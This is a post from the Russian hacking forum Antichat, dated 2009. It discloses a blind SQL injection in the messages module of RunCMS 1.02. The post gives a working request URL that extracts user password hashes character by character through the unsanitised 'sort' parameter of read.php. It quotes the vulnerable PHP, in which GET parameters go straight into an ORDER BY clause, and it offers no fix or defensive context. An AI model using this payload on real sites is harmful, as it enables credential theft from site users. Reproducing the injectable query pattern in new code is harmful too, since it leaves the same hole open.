Показать сообщение отдельно

  #32  
Старый 25.02.2009, 09:00
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

messages - дефолтный модуль RunCMS
Версия: 1.02

Blind SQL-INJ
Уязвимый скрипт: read.php и readsend.php
Посимвольный брут
Запрос: /modules/messages/read.php?start=0&total_messages=1&sort=msg_time+an d+(select+ascii(substring(pass,1,1))+from+runcms_u sers+limit+0,1)>100&by=DESC
Уязвимый кусок кода:
PHP код:
// read.php
$start          intval($_REQUEST['start']);
$total_messages intval($_REQUEST['total_messages']);
$sort             $_GET['sort'];
$by             $_GET['by'];
$pm_arr         =& PM::getAllPM(array("to_userid=".$xoopsUser->getVar("uid").""), true$sort$by1$start);

// pm.class.php
function &getAllPM($criteria=array(), $asobject=false$sort='msg_time'$order='ASC'$limit=0$start=0) {
global 
$db;

$ret = array();
$where_query '';

if ( 
is_array($criteria) && count($criteria) > ) {
    
$where_query " WHERE";
    foreach ( 
$criteria as $c ) {
        
$where_query .= $c AND";
    }
    
$where_query substr($where_query0, -4);
}

if ( !
$asobject ) {
    
$sql "SELECT msg_id FROM ".$db->prefix("private_msgs")."$where_query ORDER BY $sort $order";
    
$result $db->query($sql$limit$start);
    while ( 
$myrow $db->fetch_array($result) ) {
        
$ret[] = $myrow['msg_id'];
    }
    } else {
        
// как видим - нам мешает ORDER BY =\
        
$sql "SELECT * FROM ".$db->prefix("private_msgs")."".$where_query." ORDER BY $sort $order";
        
$result $db->query($sql$limit$start);
        while ( 
$myrow $db->fetch_array($result) ) {
            
$ret[] = new PM($myrow);
        }
    }

return 
$ret;

 
Ответить с цитированием